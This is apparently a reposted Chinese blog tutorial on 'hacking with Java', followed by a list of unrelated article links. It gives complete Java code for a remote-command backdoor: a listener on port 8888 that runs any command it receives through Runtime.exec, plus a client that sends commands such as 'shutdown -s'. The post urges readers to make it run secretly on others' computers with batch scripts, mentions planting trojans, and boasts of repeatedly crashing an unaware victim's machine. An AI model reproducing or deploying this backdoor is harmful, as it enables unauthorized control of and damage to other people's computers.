java也可以做黑客?
記得:Eric S. Raymond在他著名的文章《如何成為一名黑客》中,將Java列為五門黑客必備語言之一,其它四門分別是:C、C++、Perl、Python。
而Java最大的特性是系統無關性,通過JVM可以無縫應用在各種作業系統。編寫出來的程式,根本不關聯任何的作業系統特性,除非JNI呼叫C++的DLL,但這樣還不如直接用DLL。到目前為止,我沒有發現任何一個侵入軟體,是用Java編寫的。
其實,Java是可以編寫資料包分析軟體,或者淺層次的埠掃描軟體的。今天我們們就一起來學習一個簡單的程式吧!
一般來說,通過埠掃面,知道對方的埠後,要進行一些進一步的操作,不是很難!難就難在如何想對方電腦傳送命令!一般電腦會開放一個135的埠,我們通過它了做一些操作。大名鼎鼎的“衝擊波”就是通過它了實現的。
關於135的埠說明如下:
135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務。
埠說明:135埠主要用於使用RPC(Remote Procedure Call,遠端過程呼叫)協議並提供DCOM(分散式元件物件模型)服務,通過RPC可以保證在一臺計算機上執行的程式可以順利地執行遠端計算機上的代 碼;使用DCOM可以通過網路直接進行通訊,能夠跨包括HTTP協議在內的多種網路傳輸。
當然通過java來實現,確實有點困難,在這就不多說。還有一種簡單遠端方法就是種木馬。至於如何掛馬的問題,不再本篇的研究範圍,如有興趣的童鞋可以自己查閱。言歸正傳,我們看一下java遠端控制的簡單實現。
遠端計算機注入的程式碼如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
public class Main implements Runnable {
public static final int TCP_PORT = 8888;
ServerSocket ss = null;
Socket s = null;
String cmd = null;
public Main(Socket s) {
this.s = s;
}
public void startServer() {
try {
ss = new ServerSocket(TCP_PORT);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
while (true) {
try {
s = ss.accept();
new Thread(new Main(s)).start();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
public void run() {
try {
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
dos.writeUTF("連線成功");
DataInputStream dis = new DataInputStream(s.getInputStream());
while (true) {
cmd = dis.readUTF();
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
}
}
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
new Main(null).startServer();
}
}
原理很簡單,就是在計算機上建立一個ServerSocket,監聽8888埠。當有客戶端接入後,回執一個“連線成功”訊息。然後執行cmd命令。
本機的程式碼如下:
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.net.UnknownHostException;
import javax.swing.JOptionPane;
public class Main {
public static final int TCP_PORT = 8888;
public static String ip = "127.0.0.1";
Socket s = null;
String cmd = null;
public static void main(String[] args) {
new Main().connect();
}
public void connect(){
try {
s = new Socket(ip,TCP_PORT);
System.out.println("連線成功");
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
do{
cmd = JOptionPane.showInputDialog("輸入命令:");
dos.writeUTF(cmd);
}while(!cmd.equals("over"));
new Thread(new RecvThread()).start();
} catch (UnknownHostException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
private class RecvThread implements Runnable{
public void run() {
DataInputStream dis;
while(true){
try {
dis = new DataInputStream(s.getInputStream());
String message = dis.readUTF();
JOptionPane.showMessageDialog(null, message);
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
}
}
原理是,這邊連入對方的服務端,向對方傳送一個cmd命令,對方電腦就會執行。簡單的如“shutdown -s”,就是讓對方關機。
弄清楚是怎麼一回事後,就會發現這些非常的簡單。有興趣的話,大家可以試一下。尤其是對於初學者,有很大的動力。其實,Java在單機上也有很大的發展潛力的。
注:
想了解更多可加小姐姐私群:836442475(大牛聚集地)一起交流學習探討!
需要說明的是,這裡能將程式碼簡單的複製,請大家見諒。另外如果要想讓該程式成功的在他人計算機上偷偷的執行,只靠java還是不行。加上一些處批命令,就可以簡單的搞定。有興趣的話,大家可以研究。小姐姐就用著段簡單的程式碼,讓一個小哥哥的電腦頻繁的重啟,哈哈哈!害他不知所以然,還重灌了一遍系統。大家知道了不要告訴他哦!
相關文章
- 超酷!這些事也可以用Google做Go
- Linux終端居然也可以做檔案瀏覽器?Linux瀏覽器
- 6種自媒體賺錢方法!小白也可以做
- 自媒體新手怎麼做?5個操作步驟,普通人也可以做
- 新聞聯播也可以拿用Python來做資料分析?Python
- Java中子類構造時可以做的事Java
- 自媒體人人都可以做,掌握這幾點,你也可以成為爆文達人
- Java到底是什麼?學習java可以做什麼呢?Java
- 也許可以不用 If… Else
- 做前端也被鄙視?前端
- 還在用 JS 做節流嗎?CSS 也可以防止按鈕重複點選JSCSS
- 讓Vue也可以使用ReduxVueRedux
- 得物 ZooKeeper SLA 也可以 99.99%
- Redis可以做哪些事?Redis
- java程式設計師被誤導的一個概念,Set也可以有序Java程式設計師
- Java程式設計師轉行都可以做什麼呢?Java程式設計師
- select框既可以手輸入也可以選擇
- 臥槽Winform也可以這麼好看?ORM
- 618,也許可以清醒億點點
- WiFi 網路也可以這麼玩WiFi
- 你抄不出Roblox,也做不出MetaverseMetaverse
- 現在學Java可以做什麼?這10大領域任你選Java
- Redis還可以做哪些事?Redis
- threejs可以做遊戲嗎JS遊戲
- flask框架可以做什麼Flask框架
- 增長黑客怎麼做運營資料分析?黑客
- 大學生真的可以做自媒體嗎?學會這幾個技巧,新手小白也能入門
- 普通人做自媒體怎麼掙錢?做到這三點你也可以收穫滿滿
- SAP freelancer夫妻並不難!你也可以!
- 你也可以手寫自己的Promise(一)Promise
- 韭菜盒子!VSCode 也可以看股票&基金了!VSCode
- 填報表中也可以新增 html 事件HTML事件
- 刨根問底:物件也可以當方法用?物件
- 廣撒網,多撈魚:當黑客們也不再“安於本分”黑客
- 2020年的IT可以這樣做
- Python爬蟲可以做什麼?Python爬蟲
- 學Java語言容易嗎,都要學些什麼,沒有基礎也可以學嗎Java
- 為什麼零基礎也可以學